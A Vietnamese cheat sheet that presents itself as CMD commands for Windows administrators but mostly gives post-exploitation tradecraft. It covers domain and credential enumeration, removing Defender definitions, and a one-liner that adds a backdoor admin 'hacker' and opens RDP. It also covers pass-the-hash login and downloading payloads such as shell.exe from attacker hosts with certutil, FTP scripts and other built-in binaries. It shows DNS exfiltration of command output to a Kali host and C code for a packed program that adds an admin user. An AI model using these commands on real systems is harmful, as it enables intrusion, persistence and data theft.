Tổng quan
Thành thạo CMD Windows không chỉ dừng lại ở các lệnh dir, ping, cd, del, rename, move,… thậm chí cài đặt, mở ứng dụng, cấu hình chức năng, bật các thiết lập vẫn chưa đủ. Hôm nay, mình sẽ giới thiệu cho các bạn bộ các lệnh dành cho dân chuyên quản trị hệ thống Windows trên CMD nhé.
Ở đây mình chia thành 5 nhóm công cụ:
- Nhóm lệnh liên quan đến Hệ thống
- Nhóm lệnh liên quan đến Người dùng
- Nhóm lệnh liên quan đến Mạng
- Nhóm lệnh Tải xuống
- Nhóm lệnh Tổng hợp
1. Nhóm lệnh System
Thông tin của phiên bản và bản vá
- Xem kiến trúc hệ thống:
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
- Thông tin đầy đủ của hệ thống:
systeminfo
- Xem tên hệ điều hành và phiên bản:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- Xem bản vá:
wmic qfe get Caption,Description,HotFixID,InstalledOn
- Hostname:
hostname
- Xem driver của bên thứ ba:
DRIVERQUERY
Environment
Liệt kê tất cả các biến môi trường: set
Một số biến env cần biết:
- COMPUTERNAME: Tên máy tính
- TEMP/TMP: Thư mục Temp (lưu file tạm)
- USERNAME: Tên username
- HOMEPATH/USERPROFILE: Đường dẫn Home
- windir: C:\Windows
- LOGONSERVER: Tên của domain controller
- USERDNSDOMAIN: Domain sử dụng DNS
- USERDOMAIN: Tên Domain
Yêu cầu DNS cho PC: nslookup %LOGONSERVER%.%USERDNSDOMAIN%
Ổ đĩa được kết nối
wmic logicaldisk get caption 2
wmic logicaldisk get caption,description,providername
Anti Virus
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
sc query windefend
- Xóa các quy tắc bảo mật của Defender:
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Recycle Bin
dir C:\$Recycle.Bin /s /b
Processes, Services & Softwares
Chi tiết các nhiệm vụ đã lên lịch:
schtasks /query /fo LIST /v
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
- Danh sách các processes:
tasklist /V
- Các processes bật services:
tasklist /SVC
- Các Services Windows đang hoạt động:
net start
- Danh sách các services:
wmic service list brief
hoặcsc query
- Các phần mềm 64-bit đã cài đặt: dir /a “C:\Program Files”
- Các phần mềm 32-bit đã cài đặt:
dir /a "C:\Program Files (x86)"
- Các phần mềm đã cài đặt:
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Thông tin Domain
- Tên Domain:
echo %USERDOMAIN%
- Tên Domain khi máy tính có đăng nhập vào Domain:
echo %USERDNSDOMAIN%
- Tên domain controller:
echo %logonserver%
- Tên domain controller:
set logonserver
- Tên domain controller:
set log
- Danh sách domain group:
net groups /domain
- Danh sách PC đã kết nối với domain:
net group "domain computers" /domain
- Danh sách PC của domain:
net view /domain
- Danh sách domain controllers:
nltest /dclist:<DOMAIN>
- Danh sách tài khoản PC của domains controllers:
net group "Domain Controllers" /domain
- Danh sách user có đặc quyền quản trị domain:
net group "Domain Admins" /domain
- Danh sách các admin group bên trong domain:
net localgroup administrators /domain
- Danh sách tất cả user của domain:
net user /domain
- Thông tin về user:
net user <ACCOUNT_NAME> /domain
- Xem mật khẩu và giới hạn đăng nhập hiện tại của domain:
net accounts /domain
- Lập bản đồ các mối quan hệ của domain:
nltest /domain_trust
Logs & Events
Thực hiện truy vấn bảo mật bằng thông tin đăng nhập: wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
2. Nhóm lệnh Users & Groups
Users
- Tất cả thông tin về bạn:
whoami /all
- Hiển thị các đặc quyền: whoami /priv
- Tất cả các user:
net users
hoặcdir /b /ad "C:\Users"
- Thông tin về user:
net user %username%
- Thông tin về mật khẩu:
net accounts
- Có ai khác đã đăng nhập không?:
qwinsta
- Danh sách các chứng chỉ:
cmdkey /list
- Tạo user mới:
net user /add [username] [password]
Mở cmd với các creds mới (mạo danh trong mạng): runas /netonly /user:<USERNAME>\administrator cmd
Kiểm tra phiên đăng nhập hiện tại với quyền admin sử dụng phiên đăng nhập từ sysinternals:
logonsessions.exe
logonsessions64.exe
Groups
Local:
- Tất cả các group tồn tại: net localgroup
- Thông tin về group admins:
net localgroup Administrators
- Thêm administrators mới:
net localgroup administrators [username] /add
Domain:
- Thông tin về group domain:
net group /domain
- Người dùng thuộc group:
net group /domain <domain_group_name>
Danh sách các sessions
qwinsta
klist sessions
Chính sách mật khẩu
net accounts
Thêm người dùng vào group
Thêm user domain vào Group Domain Admins:
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
Thêm local user vào group local Admins:
net user username password /ADD
net localgroup Administrators username /ADD
Thêm user vào các group khác:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
3. Nhóm lệnh Network
Interfaces, Routes, Ports, Hosts và DNSCache
- Thông tin về interfaces:
ipconfig /all
- Xem các routes hiện có:
route print
- Thông tin về host:
arp -a
Các port đang mở:
netstat -ano
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
Thông tin về firewall và các port đang mở:
netsh firewall show state
netsh advfirewall firewall show rule name=all
Netsh Advfirewall show allprofiles
Thông tin cấu hình firewall: netsh firewall show config
Bật Firewall: netsh Advfirewall set allprofiles state on
Tắt Firewall:
netsh Advfirewall set allprofiles state off
netsh firewall set opmode disable
Cách mở port:
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
Bật Remote Desktop:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
- Tuỳ chọn:
::netsh firewall set service remotedesktop enable
- Tuỳ chọn:
::sc config TermService start= auto
- Tuỳ chọn:
::net start Termservice
Bật Remote assistance:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
Combo ninja (user admin mới, cho phép RDP + Rassistance + Firewall):
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 “Remote Desktop” & netsh firewall set service remoteadmin enable
Kết nối với RDP (sử dụng hash hoặc mật khẩu):
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Share
- Lấy danh sách máy tính:
net view
- Shares trên domains:
net view /all /domain [domainname]
- Danh sách máy tính tham gia share:
net view \\computer /ALL
- Kết nối ổ với share:
net use x: \\computer\share
- Kiểm tra share hiện tại:
net share
Wifi
- Xem SSID của wifi từng kết nối:
netsh wlan show profile
- Xem mật khẩu wifi:
netsh wlan show profile <SSID> key=clear
SNMP
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
IP, MAC address
ipconfig /all
ARP
arp -A
4. Nhóm lệnh Download
Tạo công việc tải xuống hoặc tải lên: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
Lưu phản hồi từ HTTP POST: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Tải xuống và lưu file: certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Tải ảnh từ xa: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Nén file cabinet: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Bảo trì và phục hồi cơ sở dữ liệu: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
Mở rộng tệp nén: expand \\webdav\folder\file.bat c:\ADS\file.bat
Giải nén cabinet: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Tìm chuỗi trong file: findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
Chuyển file qua FTP: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
Tải xuống tệp từ xa: C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Mở PowerShell bằng HTML: HH.exe http://some.url/script.ps1
Tải xuống và thực thi từ máy chủ từ xa: ieexec.exe http://x.x.x.x:8080/bypass.exe
Tải xuống và nén cabinet: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
Tải file: MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
Tải và sao chép: replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Tải xuống tải trọng từ máy chủ từ xa:
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Nhị phân tải xuống gói nuget:
squirrel.exe --download [url to package]
Update.exe --download [url to package]
Tải file qua linux: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
5. Nhóm lệnh Misc
Thao tác hệ thống:
- Đường dẫn hiện tại:
cd
- Truy cập vào thư mục:
cd folder
- Liệt kê thư mục và file trong đường dẫn hiện tại:
dir
- Liệt kê các file ẩn:
dir /a:h *path
- Tất cả đường dẫn con:
dir /s /b
- Thời gian hiện tại:
time
- Ngày hiện tại:
date
- Tắt máy ngay lập tức:
shutdown /r /t 0
- Đọc file:
type <file>
Chạy với user khác:
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
Ẩn file:
- Bật ẩn file:
attrib +h file
- Tắt ẩn file:
attrib -h file
Cung cấp toàn quyền kiểm soát file mà bạn có: icacls <FILE_PATH> /t /e /p <USERNAME>:F
Xóa toàn bộ quyền: icacls <FILE_PATH> /e /r <USERNAME>
Sao chép đệ quy: xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
ADS:
- Phát hiện ADS:
dir /r
- Đọc ADS:
more file.txt:ads.txt
powershell (Get-Content file.txt -Stream ads.txt)
Listen địa chỉ ACLs
Listen http://+:80/Temporary_Listen_Addresses/ không cần quyền admin: netsh http show urlacl
DNS shell
Bạn sử dụng một trong 2 tùy chọn sau:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Victim
kỹ thuật for /f tokens _**_: Cho phép mình thực hiện lệnh, lấy X từ đầu tiên của mỗi dòng và gửi nó qua DNS đến máy chủ của mình.
for /f %a in ('whoami') do nslookup %a <IP_kali>
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali>
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #Danh sách thư mục
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #Liệt kê các thư mục đó
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Giống lệnh trước đó
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Giống lệnh trước đó
Bạn cũng có thể chuyển hướng đầu ra và sau đó đọc nó.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Gọi CMD từ code C
#include <stdlib.h>
// Khi file được thực thi bởi Admin, chương trình này sẽ tạo một user và sau đó thêm user đó vào nhóm Admin
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}